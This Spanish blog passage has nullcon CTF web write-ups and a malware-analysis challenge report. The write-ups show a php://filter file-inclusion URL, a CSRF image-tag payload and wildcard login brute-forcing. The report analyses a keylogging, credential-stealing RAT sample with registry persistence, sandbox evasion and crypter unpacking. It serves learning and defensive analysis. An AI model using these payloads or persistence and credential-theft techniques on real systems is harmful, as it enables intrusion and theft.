 PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmluY2x1ZGUoImNvbmZpZy5waHAiKTsNCg0KaWYgKCRfUE9TVFsidXNlcm5hbWUiXSE9IiIgJiYgJF9QT1NUWyJwYXNzd29yZCJdIT0iIil7DQogICAgaWYgKCRfUE9TVFsidXNlcm5hbWUiXT09JHVzZXJuYW1lICYmICRfUE9TVFsicGFzc3dvcmQiXT09JHBhc3N3b3JkKXsNCiAgICAgIHByaW50KCI8aDI+V2VsY29tZSBiYWNrICE8L2gyPiIpOw0KICAgICAgcHJpbnQoIlRvIHZhbGlkYXRlIHRoZSBjaGFsbGVuZ2UgdXNlIHRoaXMgcGFzc3dvcmQ8YnIvPjxici8+Iik7DQogICAgfSBlbHNlIHsNCiAgICAgIHByaW50KCI8aDM+RXJyb3IgOiBubyBzdWNoIHVzZXIvcGFzc3dvcmQ8L2gyPjxiciAvPiIpOw0KICAgIH0NCn0gZWxzZSB7DQo/Pg0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgTG9naW4mbmJzcDs8YnIvPg0KICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlcm5hbWUiIC8+PGJyLz48YnIvPg0KICBQYXNzd29yZCZuYnNwOzxici8+DQogIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+PGJyLz48YnIvPg0KICA8YnIvPjxici8+DQogIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJjb25uZWN0IiAvPjxici8+PGJyLz4NCjwvZm9ybT4NCg0KPD9waHAgfSA/  

Que se decodifica como:

 <?php  
 error_reporting(0);  
 include("config.php");  
 if ($_POST["username"]!="" && $_POST["password"]!=""){  
   if ($_POST["username"]==$username && $_POST["password"]==$password){  
    print("<h2>Welcome back !</h2>");  
    print("To validate the challenge use this password<br/><br/>");  
   } else {  
    print("<h3>Error : no such user/password</h2><br />");  
   }  
 } else {  
 ?>  
 <form action="" method="post">  
  Login&nbsp;<br/>  
  <input type="text" name="username" /><br/><br/>  
  Password&nbsp;<br/>  
  <input type="password" name="password" /><br/><br/>  
  <br/><br/>  
  <input type="submit" value="connect" /><br/><br/>  
 </form>  
 <?php } ?  

Y asi descubrimos la presencia de "config.php", que descargamos de forma similar con:

http://ctf.nullcon.net/buggy_explorer/?inc=php://filter/convert.base64-encode/resource=config.php

Lo que nos retorna (incrustado en el texto de la pagina y codificado en base64):

 PD9waHAgJHVzZXJuYW1lPSJhZG1pbiI7ICRwYXNzd29yZD0iREFQdDlEMm1reTBBUEFGIjsgPz4N  

Que decodifica como:

 <?php $username="admin"; $password="DAPt9D2mky0APAF"; ?>  

Bandera: DAPt9D2mky0APAF

Web 4 - 400 pts

Iniciamos y encontramos


Don't have Account? Register
 
 

Vamos a Register donde encontramos un formulario par crear una nueva cuenta:


 
 
 
 

Creamos una cuenta, volvemos a Log-in e iniciamos sesion, para encontrar esto:

Become Admin Get Flag Logout
You can send mail to Admin for any queries using below form. Admin checks his mails regularly.
 
 

Si vamos a la opcion "Get Flag" nos advierte que "Only Admin user can see the flag."  y si vamos a la opcion "Become Admin" encontramos esto:

Become Admin Get Flag Logout
 
Only Admin user has access to this !!

Si intentamos setear nuestro usuario aqui el sistema ignora la peticion pues no tenemos permisos para ello.

Intenteremos enviar un mensaje al admin con:

<img src="http://ctf.nullcon.net/web4/set_admin.php?user=rmolina&Set=Set" />

Pero es muy largo para este campo asi que usamos TinyURL:

<img src="http://tinyurl.com/8te2wjt" />


Become Admin Get Flag Logout
You can send mail to Admin for any queries using below form. Admin checks his mails regularly.
 
 

Al enviarlo recibimos el mensaje "Mail sent to Admin".  Esperamos un momento he intentamos "Get Flag" nuevamente.

Bandera: 1337(52ƒ|-|4)(02

Web 5 - 500 pts


Another wierd login panel.
Login sucessfully to retrive the key?

Intentamos algunas combinaciones de passwords (admin:admin, guest:guest) y todas resultaban en el mensaje "Dir not found".  Intentamos usar "." o ".." como login y password pero el resultado no cambio.

Finalmente, encontramos que usando "*" como login y password, obteniamos algo diferente "Hacking Attempt Detected".  Aqui tenemos algo. Responde al comodín "*"… y que hay con el comodin "?", tambien lo acepta?

Probamos el login usando multiples "?" hasta encontrar la longitud correcta.

Dir not found


El password tiene 10 caracteres.

Intentamos encontrar el primer carácter del login con algo como:


Y funciona a la primera! El loging empieza por "a".  Probamos la segunda letra con algo como:


Y vamos incrementado el caracter hasta encontrar el segundo:


El segundo caracter es "b".  Procedemos igual para cada caracter faltante en el login y luego en el password, hasta que encontramos:


Cuyo contenido en claro es:

 flag is D!28|_|5732!550/\/\|_|(|-|f|_||\|  

Bandera: D!28|_|5732!550/\/\|_|(|-|f|_||\|

domingo, 2 de septiembre de 2012

Reto Sec-Track en Analisis de Malware

Con algunas ligeras modificaciones y mejor formato (gracias a http://codeformatter.blogspot.com/), esta es la solución que envié para el reto "Análisis de Malware Básico & Medio/Alto II" publicado por el amigo @4v4t4r en http://www.sec-track.com/

La presentación del reto esta aquí y básicamente consiste en el análisis de dos muestras de malware, con el objetivo de responder las siguientes preguntas:
  • ¿Es detectada la muestra por múltiples anti-virus?
  • ¿Es posible identificar algún tipo de empaquetado u ofuscamiento en las muestras? ¿Cuál?, ¿Es posible desempaquetar las muestras?
  • ¿Es posible identificar algunos strings que nos permita determinar a modo general la finalidad del malware?
  • Dentro de las funciones y recursos importados por la muestra, ¿es posible determinar a modo general la finalidad del malware?
  • ¿Qué comportamiento de red/archivos nos indica sobre la finalidad del malware?
  • Finalmente, luego de todos los análisis… ¿Cuál es el objetivo de la muestra?
  • Otros hallazgos (procesos, ocultamiento, anti’s, persistencia, etc, etc, etc)…
No tengo experiencia previa en el análisis de malware, pero tengo algo de experiencia en ingeniería inversa, por lo que decidí resolver este reto usando esa estrategia, y lo primero que hice fue un análisis en listado muerto de la primera muestra. Dentro de las cosas que encontré, descubrí que la muestra intentaba detectar la presencia de algunos sandboxes y que fallaba a reaccionar ante ellos, busque esos nombres en Internet y el primero que encontré fue Anubis, con el que analicé el comportamiento en vivo de las dos muestras. Finalmente, aplique el análisis de listado muerto a la segunda muestra.

Para el reporte, sin embargo, decidí cambiar el orden de los análisis, pues el análisis en vivo da una visión mas general, y ademas siempre me ha gustado dejar las cosas mas entretenidas para el final :)

Análisis en codigo vivo

Para el análisis comportamental de las muestras en código vivo se uso la herramienta en línea Anubis --Analyzing Unknown Binaries-- (http://anubis.iseclab.org/) que suministra información sobre accesos a memoria, archivos, y registro de Windows, junto con capturas del tráfico de red asociado a la muestra. El sistema presenta reportes detallados con análisis automáticos de los hallazgos.

También se utilizo la herramienta en línea Virus Total (http://virustotal.com/) para registrar las tasas de detección para cada muestra.

Se presenta a continuación el análisis de los resultados obtenidos en estas herramientas. En este análisis se ha intentado explicar el orden de las actividades detectadas. Anubis reporta muchas otras actividades que no son de interés para este análisis.

smss.exe

sha-1: 3ed34887b65f48daea269ca49d0a31edc99bf0f2

http://anubis.iseclab.org/?action=result&task_id=16018433585d866145d1547aaafad18b4&call=first

Se identifica un empaquetado UPX (http://upx.sf.net/)

36 de 42 detecciones (86%) en http://virustotal.com/
  • smss.exe crea algunos mutex (para asegurarse de una única instancia?)
    • _x_X_BLOCKMOUSE_X_x_
    • _x_X_PASSWORDLIST_X_x_
    • _x_X_UPDATE_X_x_
  • smss.exe crea una copia de si mismo (controlp.exe) en el directorio del sistema
    • C:\WINDOWS\System32\controlp.exe
  • smss.exe modifica el registro para asegurar la ejecución de ​controlp.exe ante el reinicio
    • [HKEY_LOCAL_MACHINE\Software\​Microsoft\​Active Setup\​Installed Components\​{17564C2H-5U15-AD2W-I8W2-04Y0LSXEIQ00}]
      "StubPath"="C:\​WINDOWS\​System32\​controlp.exe Restart"
    • [HKEY_LOCAL_MACHINE\​Software\​Microsoft\​Windows\​CurrentVersion\​Policies\​Explorer\​Run]
      "Policies"="C:\​WINDOWS\​System32\​controlp.exe"
    • [HKEY_USERS\​S-1-5-21-842925246-1425521274-308236825-500\​Software\​Microsoft\​Windows\​CurrentVersion\​Policies\​Explorer\​Run]
      "Policies"="C:\​WINDOWS\​System32\​controlp.exe"
  • smss.exe inicia iexplorer.exe e inyecta código en la memoria del mismo
    • C:\Program Files\Internet Explorer\iexplore.exe
  • iexplore.exe intercepta la entrada por teclado y almacena en disco (keylogger).
    • C:\Documents and Settings\Administrator\Application Data\cglogs.dat
  • iexplore.exe se comunica con 127-001.servehttp.com (23.22.69.31:443) e intercambia información (para reportar la infección, o recibir nuevas ordenes, o reportar información robada)
    • En total recibe 149 bytes y envía 1006 bytes
    • Al final de la comunicación recibe " ping|.." y envia "pong|C:\Program Files\Common Files\exec.exe###114891|.", estos strings parecen estar asociados al proyecto DarkComet RAT (Remote Administration Tool), http://darkcomet-rat.com/
  • iexplore.exe (actuando como dropper) crea “teste.vbs” (con nuevas ordenes?)
    • "C:\Documents and Settings\Administrator\Local Settings\Temp\teste.vbs"
    • VB Scripting es una de las funcionalidades de DarkComet RAT.
  • iexplore.exe ejecuta teste.vbs usando cscript.exe
    • "C:\WINDOWS\system32\cscript.exe" "C:\Documents and Settings\Administrator\Local Settings\Temp\teste.vbs"
  • iexplore.exe inicia controlp.exe

winlogon.exe

sha-1: 062e05b5ad7e4803d5abc733e879e2eccaedeb8e

http://anubis.iseclab.org/?action=result&task_id=101a922a06ffc33741546bf97c5a34407&call=first

No se identifica un empaquetado

19 de 42 detecciones (45%) en http://virustotal.com/
  • winlogon.exe crea algunos mutex (para asegurarse de una única instancia?)
    • _x_X_BLOCKMOUSE_X_x_
    • _x_X_PASSWORDLIST_X_x_
    • _x_X_UPDATE_X_x_
  • winlogon.exe crea una copia de si mismo (controlp.exe) en el directorio del sistema
    • C:\WINDOWS\System32\controlp.exe
  • winlogon.exe modifica el registro para asegurar la ejecución de ​controlp.exe ante el reinicio
    • [HKEY_LOCAL_MACHINE\Software\​Microsoft\​Active Setup\​Installed Components\​{17564C2H-5U15-AD2W-I8W2-04Y0LSXEIQ00}]
      "StubPath"="C:\​WINDOWS\​System32\​controlp.exe Restart"
    • [HKEY_LOCAL_MACHINE\​Software\​Microsoft\​Windows\​CurrentVersion\​Policies\​Explorer\​Run]
      "Policies"="C:\​WINDOWS\​System32\​controlp.exe"
    • [HKEY_USERS\​S-1-5-21-842925246-1425521274-308236825-500\​Software\​Microsoft\​Windows\​CurrentVersion\​Policies\​Explorer\​Run]
      "Policies"="C:\​WINDOWS\​System32\​controlp.exe"
  • winlogon.exe inicia iexplorer.exe e inyecta código en la memoria del mismo
    • C:\Program Files\Internet Explorer\iexplore.exe
  • iexplore.exe intercepta la entrada por teclado y almacena en disco (keylogger).
    • C:\Documents and Settings\Administrator\Application Data\cglogs.dat
  • iexplore.exe se conecta con 127-001.servehttp.com (23.22.69.31:443) pero NO intercambia información
    • 0 bytes enviados y 0 bytes recibidos
    • No se descarga entonces ningún *.vbs
  • iexplore.exe inicia controlp.exe

Análisis en listado muerto

Para el análisis sobre listado muerto se uso principalmente la herramienta IDA —Interactive Disassembler— Freeware Edition (http://hex-rays.com/) para la primera muestra (smss.exe) y VB Decompiler Lite (http://vb-decompiler.com/) para la segunda muestra (winlogon.exe). Se utilizaron también algunos scripts IDC para IDA que serán referenciados mas adelante. Se uso también el compresor UPX para el desempaquetado de la primera muestra.

Dado que el análisis sobre listado muerto de la primera muestra se realizo antes que el análisis en código vivo, algunas observaciones pueden ser redundantes pero se han preservado para propósitos de ilustración de la técnica.

smss.exe

Cargamos el ejecutable en IDA se nos advierte que el archivo parece empaquetado y se nos sugiere una carga manual. Realizamos la carga manual incluyendo todos los segmentos y se observa que aparecen segmentos como .upx0

Cerramos el proyecto, desempaquetamos con "upx -d smss.exe" (http://upx.sf.net/) y lo recargamos en IDA.

Se lanzan los scripts IDC "Microsoft VC++ Reversing Helpers" (File \ IDC file…) que pueden descargarse en http://www.openrce.org/downloads/details/196/Microsoft_VC++_Reversing_Helpers (esto con el fin de limpiar un poco mas el código).

Y se inicia el análisis de los referencias detectadas (View \ Open Subviews \ Names), estas referencias "Name" incluyen strings, imports, exports, y functions a la vez, pero pueden analizarse también por separado seleccionado los Subviews correspondientes…

Cada vez que se encuentra en la lista una referencia interesante, se salta al punto desde el que esta siendo llamada haciendo doble-click en la dirección que aparezca en el DATA XREF de esa referencia (a veces aparece mas de un DATA XREF porque la referencia se reusa en varios puntos, es conveniente revisarlos todos), una vez llegamos al punto desde donde se origino la referencia, podemos estudiar el código asociado.

Aclaremos, que consideramos "interesantes" cosas como llamadas al API relacionadas con la manipulación en entradas del registro, o de archivos en el disco, o de la memoria de otros procesos… también sirven los strings vistosos como "crypto", "username", "password"… o cualquier cosa que parezca un nombre de archivo, una ruta del registro, etc.

Veamos un ejemplo:

Explorando los strings vemos "aVboxservice_ex", así que cargamos esa referencia y aparecemos acá:

 CODE:004052C6 ;  
 ---------------------------------------------------------------------------  
 CODE:004052C7 align 4  
 CODE:004052C8 dd 0FFFFFFFFh, 0Fh  
 CODE:004052D0 aVboxservice_ex db CODE:004052C6 ;  
 ---------------------------------------------------------------------------  
 CODE:004052C7 align 4  
 CODE:004052C8 dd 0FFFFFFFFh, 0Fh  
 CODE:004052D0 aVboxservice_ex db 'VBoxService.exe',0 ; DATA XREF: sub_4051C0+83 o  
 CODE:004052E0  

"aVboxservice_ex" seleccionado en la ventana "Names" y código asociado en la vista principal de IDA.
Así que estamos buscando a 'VBoxService.exe'? No sabemos que es... pero seguramente será un archivo de VirtualBox (http://virtualbox.org/) o algo así… la muestra quiere saber si esta corriendo en un entorno vrrtualizado?

Usamos el DATA XREF para ver que este archivo es importante para en "sub_4051C0+83 o" y podemos saltar a sub_4051C0() para estudiar esa porción de código… pero resumiéndoles, a sub_4051C0() podríamos renombrarla como "VirtualBoxDetection()"

Este procedimiento se repite para cada referencia interesante y TAMBIEN para cada trozo de código cercano a un trozo que ya hemos marcado como interesante. Siguiendo esa idea, unas líneas mas abajo de VirtualBoxDetection() encontramos esto:

 CODE:004052F8 aSbiedll_dll db 'SbieDll.dll',0 ; DATA XREF: sub_4052E0+3 o

Y una búsqueda rápida en Google nos dice que 'SbieDll.dll' es parte de un sandbox (http://sandboxie.com/)… entonces podemos renombrar sub_4052E0() como SandboxieDetection() y además podemos confirmar que esta muestra intenta detectar si esta siendo observada, seguramente porque va a funcionar de forma diferente cuando esta siendo observada y cuando no…

Siguiendo la misma lógica, sub_405304 podría llamarse DbgHelpDetection().

Y por el mismo camino (inmediatamente cerca) encontramos otros strings interesantes aunque menos obvios como "55274-640-2673064-23950".
Un poco mas de Google nos da esta referencia: http://evilcodecave.wordpress.com/2009/01/27/sandbox-awareness/ y ya no nos hace falta reversar mucho mas para saber que:
  • sub_405328() detecta Joebox ("55274-640-2673064-23950")
  • sub_4053E0() detecta CWSandbox ("76487-644-3177037-23510")
  • sub_405498() detecta Anubis ("76487-337-8429955-22614")
Y muy cerca, sub_405620() verifica si el proceso esta siendo depurado con IsDebuggerPresent()…

Hay algunos otros puntos desde los que se verifica la presencia de un depurador y de hecho se verifica con algunos metodos mas elaborados que IsDebuggerPresent(), pero creo que esto deja ya claro el procedimiento que se siguio para el analisis… ademas confirmamos que esta muestra quiere hacer algo sin que la veamos… y eso ya es sospechoso…

Por completitud, cierto error en la implementacion (o 4v4t4r lo dehabilito a proposito para hacerlo mas facil?) hace que estas detecciones no lleguen a ser muy útiles... pero les dejo de tarea encontrarlo… jejeje…

Bien, estando ya claro el procedimiento, veamos un resumen de los hallazgos…

Persistencia al reinicio

Siguiendo el string "aStubpath" encontramos que en sub_4069D8() hay algo de movimiento en el registro:

 CODE:004069E4 push offset aSoftwareMicr_5 ;   "Software\\Microsoft\\Active Setup\\Install"...  
 CODE:004069E9 push 80000001h ; hKey  
 CODE:004069EE call RegOpenKeyExA  
 CODE:004069F3 push ebx ; lpSubKey  
 CODE:004069F4 mov eax, [esp+0Ch+hKey]  
 CODE:004069F8 push eax ; hKey  
 CODE:004069F9 call RegDeleteKeyA  

Y siguiendo un poco mas esta la referencia completa:

 CODE:00406A0C ; char aSoftwareMicr_5[]  
 CODE:00406A0C aSoftwareMicr_5 db 'Software\Microsoft\Active Setup\Installed Components\',0  
 CODE:00406A0C  

'Software\Microsoft\Active Setup\Installed Components\' y 'StubPath' en la vista principal de IDA.
Tenemos entonces 'Software\Microsoft\Active Setup\Installed Components\' y 'StubPath'… y un poco mas de Google nos da esta referencia: http://www.dslreports.com/forum/remark,6686853 donde nos enseñan que:
10. Active-X Component 
HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\KeyName
StubPath=C:\PathToFile\Filename.exe

Believe it or not, this does start filename.exe BEFORE the shell and any other Program normaly started over the Run Keys.
Entonces la muestra carga como control ActiveX un binario que se recargara con cada reinicio? Puede ser una copia de ella misma, o algún loader, o algo mas que se descargue… sea lo que sea es persistente al reinicio y esta en un lugar por demas conveniente…

Mutex

Siguiendo más strings encontramos:

 a_x_x_update_x_ 0040C0AC  
 a_x_x_passwordl 0040C0C0  
 a_x_x_blockmous 0040C160  

Referencias desde loc_40BBD4:y cercanas…

 CODE:0040BC28 push offset a_x_x_passwordl ;   "_x_X_PASSWORDLIST_X_x_"  
 CODE:0040BC2D push 0  
 CODE:0040BC2F push 0  
 CODE:0040BC31 call sub_403568  
 CODE:0040BC36 mov ebx, eax  
 CODE:0040BC38 call GetLastError  

En cada caso se hace un push [string], 0, 0 seguido de un call sub_403568 asa que revisaremos esa sub():

 CODE:00403568 ; int __stdcall sub_403568(LPSECURITY_ATTRIBUTES lpMutexAttributes, int, LPCSTR lpName)  
 CODE:00403568 sub_403568 proc near ; CODE XREF: sub_40B7D4+3D p  
 CODE:00403568                      ; sub_40BA5C+A p ...  
 CODE:00403568  
 CODE:00403568 lpMutexAttributes= dword ptr 8  
 CODE:00403568 arg_4 = dword ptr 0Ch  
 CODE:00403568 lpName = dword ptr 10h  

Con que lpMutexAttributes? se están creando/verificando mutex para asegurarnos de que solo una instancia corre cada vez? un poco de Google nos confirman que estos strings son mutex comunes en algún malware que en este momento no me interesa identificar para evitar spoilers... (también hay un string 'Portions Copyright (c) 1999,2003 Avenger by NhT' que promete mas spoilers)

Como esta sub tiene dos CODE XREF revisamos el otro y encontramos otro mutex: "_PERSIST"

 CODE:0040B7FA mov ecx, offset a_persist ; "_PERSIST"  
 CODE:0040B7FF call sub_401D9C  
 CODE:0040B804 mov eax, [ebp+var_5C]  
 CODE:0040B807 call sub_401F48  
 CODE:0040B80C push eax ; lpName  
 CODE:0040B80D push 0 ; int  
 CODE:0040B80F push 0 ; lpMutexAttributes  
 CODE:0040B811 call sub_403568  

Y cerca a este último mutex hay cosas tan interesantes como:
  • CODE:0040B7A8 CommandLine db 'explorer.exe',0 ; DATA XREF: sub_40B398+9B o
  • CODE:0040B7B8 ClassName db 'shell_traywnd',0 ; DATA XREF: sub_40B398+BE o
  • CODE:0040B7CC aOpen db 'open',0 ; DATA XR
Para ocultarse? Y ademas:

 CODE:0040B847 push offset aShell_traywn_0 ; "Shell_TrayWnd"  
 CODE:0040B84C call FindWindowA  
 CODE:0040B851 push eax ; hWnd  
 CODE:0040B852 call GetWindowThreadProcessId  
 CODE:0040B857 mov eax, [ebp+dwProcessId]  
 CODE:0040B85A push eax ; dwProcessId  
 CODE:0040B85B push 0 ; bInheritHandle  
 CODE:0040B85D push 1F0FFFh ; dwDesiredAccess  
 CODE:0040B862 call OpenProcess  

Acceso a otros procesos? interesante hasta que se demuestre lo contrario!

Un poco más allá tenemos algo mejor aun…

 CODE:0040B8A4 push offset aExplorer_exe ; "explorer.exe"  
 CODE:0040B8A9 push 0 ; lpApplicationName  
 CODE:0040B8AB call CreateProcessA  
 CODE:0040B8B0 mov ebx, [ebp+ProcessInformation.hProcess]  

Mucho movimiento entre procesos… pero volviendo al tema (!!!)…

 "_x_X_BLOCKMOUSE_X_x_"  
 "_x_X_UPDATE_X_x_"  
 "_x_X_PASSWORDLIST_X_x_"  

De estos tres UPDATE es el mas interesante, puede la muestra actualizarse desde algun lugar?, o tal vez enviar actualizaciones hacia algun lugar? posiblemente actualizaciones de su PASSWORDLIST !?

Muy cerca del push de update tenemos…

  CODE:0040BC16 push 2EE0h
 CODE:0040BC1B call Sleep

Este mutex se verifica cada 3 horas (0x2ee0 segundos)…

La raíz del mal

Actualizaciones del password list? esa idea me intriga… así que busco entre los imports y lo primero que veo es CredEnumerateA llamado desde la sub_409D1C() que tiene algo de interés…

 CODE:00409D43 push offset aAdvapi32_dll ; "advapi32.dll"  
 CODE:00409D48 call LoadLibraryA  
 CODE:00409D4D mov [ebp+hLibModule], eax  
 CODE:00409D50 push offset aCredenumeratea ; "CredEnumerateA"  
 CODE:00409D55 mov eax, [ebp+hLibModule]  
 CODE:00409D58 push eax ; hModule  
 CODE:00409D59 call GetProcAddress  
 CODE:00409D5E mov ds:dword_40F1E0, eax  
 CODE:00409D63 push offset aCredfree ; "CredFree"  
 CODE:00409D68 mov eax, [ebp+hLibModule]  
 CODE:00409D6B push eax ; hModule  
 CODE:00409D6C call GetProcAddress  
 CODE:00409D71 mov ds:dword_40F1E4, eax  
 CODE:00409D76 lea eax, [ebp+var_4]  
 CODE:00409D79 push eax ; _DWORD  
 CODE:00409D7A lea eax, [ebp+var_8]  
 CODE:00409D7D push eax ; _DWORD  
 CODE:00409D7E push 0 ; _DWORD  
 CODE:00409D80 push offset aWindowsliveNam ; "WindowsLive:name=*"  

Y un poco de Google confirma que estamos intentando acceder a las contraseñas almacenadas de Microsoft Live/MSN Messenger… así que robamos contraseñas después de todo?
Esa idea motiva la búsqueda y encontramos (lo suficientemente cerca) cosas como…
  • CODE:0040AA0F mov edx, offset aUnnamedValue ; "(unnamed value)"
  • CODE:0040AA28 mov edx, offset aUnnamedPasswor ; "(unnamed password)"
  • CODE:0040A82B push offset aMozillaFiref_0 ; "\\Mozilla\\Firefox\\"
 Lo que nos hace pensar que también le interesan las contraseñas de Mozilla Firefox… y suficientemente cerca cosas como:
  • CODE:0040AC88 aNssbase64_deco db 'NSSBase64_DecodeBuffer',0
  • CODE:0040ACCC aPk11sdr_decryp db 'PK11SDR_Decrypt',0 ; DATA XREF: s
nos dicen que la muestra tiene algunas capacidades crypto, tal vez para descifrar las contraseñas que se almacenan cifradas…

Ya sabiendo que buscar, cosas como:

 CODE:0040932B mov esi, offset aAbe2869f9b474c ; "abe2869f-9b47-4cd9-a358-c22904dba7f7"

Que están cerca de cosas como:

 CODE:00409377 call CredEnumerateA

y de cosas como:

 CODE:004093B4 call CryptUnprotectData

Nos llaman de inmediato la atención… y con un poco mas de Google encontramos esta referencia: http://securityxploded.com/iepasswordsecrets.php y aprendemos que ese string raro es una clave del registro relacionada con… passwords de IE!

También encontramos en sub_4096E0() esta otra clave: "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2" y descubrimos con un poco mas de Google que allí es donde se guardan los "AutoComplete passwords"

Tambien:

 CODE:00409AE8 mov ecx, offset aUsername ; "UserName"  
 CODE:00409AED mov edx, offset aSoftwareVitalw ; "SOFTWARE\\Vitalwerks\\DUC"  
 CODE:00409AF2 mov eax, 80000002h  
 CODE:00409AF7 call myRegQuery  
 CODE:00409AFC push 0  
 CODE:00409AFE lea eax, [ebp+var_8]  
 CODE:00409B01 push eax  
 CODE:00409B02 mov ecx, offset aPassword ; "Password"  
 CODE:00409B07 mov edx, offset aSoftwareVitalw ; "SOFTWARE\\Vitalwerks\\DUC"  

Sugiere que quiere robar los passwords de Vitalwerks (cualquier cosa que sea eso)…

Ya vamos viendo un patrón de comportamiento, no? no es casualidad entonces encontrar imports como RasEnumEntriesA junto a strings como "aRasPasswords" que nos sugiere mas de lo mismo…

Suficiente ilustración?

Tal vez no sea lo único que hace… pero tenemos suficiente información para creer que a esta muestra le gusta robar contraseñas mientras no la están mirando (digamos la verdad, a quien no le gusta hacerlo?)

Pero esto es inútil si no vamos a entregarle las contraseñas a alguien… o a usarlas para acceder a algo… hay alguna capacidad de red detectable?

Otra mirada a la lista de strings y…
  • aProgramfilesdi
  • aHttpShellOpenC
  • aInternetExplor
http? miremos… "http\\shell\\open\\command"… "\\Internet Explorer\\iexplore.exe"… un poco de Google… esta tratando de lanzar el navegador web predeterminado… y si no puede, lanza IE… así que alguna capacidad tiene para interactuar con internet…

Pero no veo en ningún lado a donde quiere conectarse… y entonces recuerdo el movimiento entre procesos… volvamos a ello…

 0403588 ; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)  
 CODE:00403588 CreateProcessA proc near ; CODE XREF: sub_40B398+A2 p  
 CODE:00403588                          ; sub_40B398+122 p ...  
 CODE:00403588 jmp ds:__imp_CreateProcessA  
 CODE:00403588 CreateProcessA endp  

aja… veamos… creamos un nuevo proceso... y en sub_4040E4()
  • CODE:00404149 call VirtualAlloc
  • CODE:004041B8 call WriteProcessMemory
Se carga la memoria del nuevo proceso…

Hay que admitir que hasta aquí llegamos con el listado muerto… tal vez pueda sacarse información de ese proceso por la forma como se construye… ero no se como… tendría que ejecutar por lo menos hasta este punto para volcar y seguir haciendo lo mismo con listado muerto…

Podríamos seguir en el depurador, pero si vamos ya a ejecutar algo, entonces la información que haga falta se recuperara mas fácil con código vivo, en un ambiente controlado, con monitores del registro, de la memoria, de los archivos, de la red…

winlogon.exe

Al establecerse la similitud comportamental de esta muestra con la primera (smss.exe), para esta muestra solo se estudio en profundidad la naturaleza del empaquetado, pues es notorio su efecto sobre las tasas de detección.

Un análisis inicial en IDA nos permite cargarlo sin problemas (a diferencia de la primera muestra, en la que se detectaba de inmediato el empaquetado).

Después de una inspección rápida, el escaso numero de imports y la presencia de funciones como DllFunctionCall() nos dice que aquí pasa algo raro… tal vez sea un loader… además, funciones como __vbaChkstk() nos hacen pensar que hay cierto grado de VisualBasic (por lo menos es código nativo y no p-code)…

El script IDC "VB Helper Script" mejora un poco mas el código, aunque realmente no nos hará falta (disponible en http://www.openrce.org/downloads/details/245/VB_Helper_Script )…

Dejaremos IDA por un rato… y ahora cargamos la muestra en VB Decompiler… no se emocionen mucho… no es que decompile hasta código VB otra vez… sigue siendo assembler… pero esta herramienta es capaz de separar los trozos de código que corresponden a las clases, módulos, formularios…
Listado Assembler de winlogon.exe en VB Decompiler
Para este proyecto vemos un "Md1", "Cl1", "Fr1", seguramente por Module1, Class1, y Form1…
Md1 tiene 3 procedimientos, y en el tercero hay algunos "__vbaStrCmp", "StrReverse", y otros que me interesarían si esto no fuera malware :D

Cl1 tiene? 11 procedures... los primeros 4 parecen tener sus nombres cifrados de alguna forma… por ejemplo…

 Public Function ¼«¹ózùFUó•ùž¹WqÅW»¹™ÐЭ²ýž“¥½¦’(Text, Ôµ³¬z¹½¥ª¥œW†Ý, ÔŠzª“Еžª óо) '405EC0

hay tambien un:

 Public Property Let Key(New_Value, Percent) '406C20

y algunos otros...

uhmm… no es solo un loader después de todo… un crypter según parece… son buenas noticias y malas noticias… buenas porque los crypters engordan el código, así que una vez removido será menos código para reversar… y son malas noticias porque… pues porque es un crypter! va a ser mas difícil desempaquetarlo…

Pero esperen… olvidábamos algo… que decían los antivirus al respecto? levantamos uno y la muestra es detectada como… VirTool? vbInject? ok…

Veamos… Google… "vbinject unpacking"… y nos damos de tope con esta referencia:

Interesting Malware: Unpacking VBInject/VBCrypt/RunPE
http://interestingmalware.blogspot.com/2010/07/unpacking-vbinjectvbcryptrunpe.html

Ahhh… con que de eso se trata?… vbinject es el nombre que le dan los antivirus a una familia gigante de cargadores que en principio los autores de malware llaman RunPE… es fácil de identificar porque no usa su propio proceso sino otro que crea suspendido y luego inyecta… se supone que eso hace que sea mas difícil de detectar… no veo como… pero ya vimos que funciona…

Al parecer el volcado no es difícil… y además nos dicen que RunPE es bastante inofensivo… lo dañino puede ser lo que hayan empaquetado… pero runPE no necesariamente… asi que no seria muy arriesgado ejecutar runPE para volcar el malware…

Vamos a preparar un script para… no! esperen! aquí esta también! en la pagina! que maravilla!

Volvemos a IDA para utilizar ese script IDC... lo lanzamos… y en segundos tenemos un unpacked.exe

Lo verifique en Anubis para ver si es funcional… parece que no… ya no es nocivo… quedo incompleto el volcado? no importa! aun puede ser útil…

Cargamos el unpacked.exe en IDA… y obtenemos… mas VB…

NOOOOOOOOO :S

es p-code… odio el p-code…

Ya estando aquí… una inspección a los strings nos muestra esto…

 .text:004013B0 aAkLibroMisCryp:  
 .text:004013B0 unicode 0, <*\AK:\Libro\Mis Crypters\Crypter Online v2\Tutorial Crypt>  
 .text:004013B0 unicode 0, <er Online v2\stub\stub 3\Project1.vbp>,0  
 .text:0040146E align 10h   

"K:\Libro\Mis Crypters\Crypter Online v2\Tutorial Crypter Online v2\stub\stub 3\Project1.vbp"

Que con algo de Google nos lleva a sospechar que quien haya empaquetado esta muestra (4v4t4r?) uso una herramienta (Crypter Online v2) que parece haberse originado en http://indetectables.net/

De vuelta en VB Decompiler (que se maneja mejor con el p-code que IDA) y esta vez si que decompila directo a los opcodes de p-code… y vemos mucha mas info en claro… se han ido los procs con nombres cifrados… tenemos un Sub_Main, una clase clsSimpleXOR… en Google, vemos que es uno de los modulo de cifrado de runPE… y vemos que tiene funciones de cifrado y descifrado…

 Public Sub DecryptByte(ByteArray, Key) '40241C  
 Public Sub EncryptByte(ByteArray, Key) '402A28  
 Public Function EncryptString(Text, Key) '402678  
